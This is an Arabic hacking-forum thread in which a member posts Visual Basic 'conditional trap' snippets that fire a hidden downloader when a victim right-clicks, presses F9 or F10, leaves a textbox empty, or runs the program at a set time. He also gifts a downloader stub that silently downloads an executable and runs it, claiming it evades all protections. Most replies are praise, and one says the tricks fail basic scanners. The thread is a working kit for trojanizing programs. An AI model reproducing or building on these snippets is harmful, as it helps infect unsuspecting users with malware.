1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
  2. الملاحظات
    عزيزي زائر تم اطلاق الموقع الرسمي لبرنامج الاختراق Spy-Note
    إستبعاد الملاحظة
  3. الملاحظات
    عزيزي زائر حصرياً : التقنيات النهائية لإصتياد المواقع المٌصابة بثغرات الحقن يدوياً وألياً متابعة الموضوع
    إستبعاد الملاحظة
حالة الموضوع:
مغلق
  1. عـقرب الـنجف
    DeveloPer Plus

    عضو منذ:
    ‏5 يونيو 2015
    عدد المشاركات:
    296
    الإعجابات المتلقاة:
    169
    نقاط الجائزة:
    105
    الجنس:
    ذكر
    الوظيفة:
    programmer
    الإقامة:
    العراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    [​IMG]
    كيف الحال اخواني واخواتي ان شاء الله الجميع ب خير وب تمام الصحة والعافية
    رمضان كريم علينا وعليكم وصيام مقبول للجميع ان شاء الله
    [​IMG]
    طبعا في البداية حاب اكول بعض الكلام
    اسف عن الانقطاع الطويل لاكن بسبب كثرة الاعمال والمشاغل واشياء اخرى
    [​IMG]
    اخواني واخواتي اليوم عندي شي ان شاء الله يعجبكم
    موضوع جميل + مهم + جديد ب أذن الله تعالى
    [​IMG]
    لا احب الاطالة اترككم مع الاكواد
    [​IMG]
    1- اضافة حدث عند الضغط على زر الماوس الايمن
    كود:
    Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) 
    
    
    IF BUTTON=2 THEN 
    كود الداونلودر الخاص بك
    END IF 
    End Sub
    

    [​IMG]
    2- التحقق من وجود ملف تحدده انت
    كود:
    If Dir("c:\test.txt", vbNormal or vbReadOnly or vbHidden or vbSystem or vbArchive) = "" then 
    كود الداونلودر الخاص بك
    End If
    غير ال c:\test.txt ب امتداد الملف الذي تريده
    

    [​IMG]
    3- تلغيمة تعتمد على الضغط على f9 او f10
    كود:
    Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
    If KeyCode = 120 Then
    كود الداونلودر الخاص بك
    End If
    
    
    If KeyCode = 121 Then
    كود الداونلودر الخاص بك
    End If
    End Sub
    


    [​IMG]
    4- تشغيل السيرفر عند ما يكون ال textbox خالياً
    كود:
    if (textbox1.text="") then
    كود الداونلودر الخاص بك
    end if
    


    [​IMG]
    5- كود تشغيل السيرفر في وقت محدد
    كود:
    Private Sub Form_Load() 
    
    
    If Time <= "11:30 AM" Then 
    كود الداونلودر الخاص بك
    End 
    End If 
    

    [​IMG]
    وفي الختام لدي كود داونلودر هدية لكم )4:"
    الكود يتخطى جميع الحمايات ويعطيك ناتج كلين وشغال ومجرب
    [​IMG]
    انشأ مودل جديد وضع الكود بداخله
    كود:
    try
    dim a as string = "الداونلودر"
    dim b as string = "اسم العمليه.exe"
    my.computer.network.downloadfile(a,b)
    process.srart(b)
    catch ex as exception
    end try
    end 
    end sub
    end module
    


    [​IMG]
    الى الجميع بدون استثناء
    [​IMG]
     
    جاري تحميل الصفحة...
  2. غاوي هكر
    DeveloPer Plus

    عضو منذ:
    ‏9 يوليو 2015
    عدد المشاركات:
    207
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    50
    الإقامة:
    فلسطين
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    يسلمووووو ايديك يا بطل شرح بجد متعوب عليه يعطيك الف عافية


    عااااشت ايديك
     
  3. غاوي هكر
    DeveloPer Plus

    عضو منذ:
    ‏9 يوليو 2015
    عدد المشاركات:
    207
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    50
    الإقامة:
    فلسطين
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    واحلا تقيم يا عسل
     
  4. k!lwa s&rian ro0t Expert
    طاقم الإدارة

    عضو منذ:
    ‏3 أغسطس 2014
    عدد المشاركات:
    695
    الإعجابات المتلقاة:
    1,236
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    احلى لايك لعيونك
    ملك حبيبي
    مشكور
     
  5. عـقرب الـنجف
    DeveloPer Plus

    عضو منذ:
    ‏5 يونيو 2015
    عدد المشاركات:
    296
    الإعجابات المتلقاة:
    169
    نقاط الجائزة:
    105
    الجنس:
    ذكر
    الوظيفة:
    programmer
    الإقامة:
    العراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    وايدك حبيبي الغالي
    تسلم حبيبي مشكور ع ردك الجميل
    مشكور ع التقييم يا غالي الله يعافيك
     
  6. عـقرب الـنجف
    DeveloPer Plus

    عضو منذ:
    ‏5 يونيو 2015
    عدد المشاركات:
    296
    الإعجابات المتلقاة:
    169
    نقاط الجائزة:
    105
    الجنس:
    ذكر
    الوظيفة:
    programmer
    الإقامة:
    العراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    تسلم حبيبي ما قصرت
    ولو تدلل يا غالي
    مشكور ع مرورك
     
  7. !»°بہًكہًر الہًعہًراقہًي°«! مراقب أقسام حماية الاجهزة
    طاقم الإدارة

    عضو منذ:
    ‏7 فبراير 2015
    عدد المشاركات:
    659
    الإعجابات المتلقاة:
    1,458
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    عاشت الايداي خويه شروط جميله
     
  8. عـقرب الـنجف
    DeveloPer Plus

    عضو منذ:
    ‏5 يونيو 2015
    عدد المشاركات:
    296
    الإعجابات المتلقاة:
    169
    نقاط الجائزة:
    105
    الجنس:
    ذكر
    الوظيفة:
    programmer
    الإقامة:
    العراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    وايدك حبيبي بكر نورت يا غالي
     
  9. (¯»Asaad««JaCkIe»¯)
    rank
    Developer

    عضو منذ:
    ‏19 يناير 2015
    عدد المشاركات:
    48
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    20
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    عاـأشت أيدك يـأبطل لاتحـرمنأ من جديدك
     
  10. TeePlow
    V • I • P

    عضو منذ:
    ‏12 مارس 2014
    عدد المشاركات:
    372
    الإعجابات المتلقاة:
    10
    نقاط الجائزة:
    50
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    السلام عليكم
    بارك الله فيك اخي الكريم لاكن هذه التلغيمات لا تمر على ابسط الفاحصين



    تقبل مروري
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...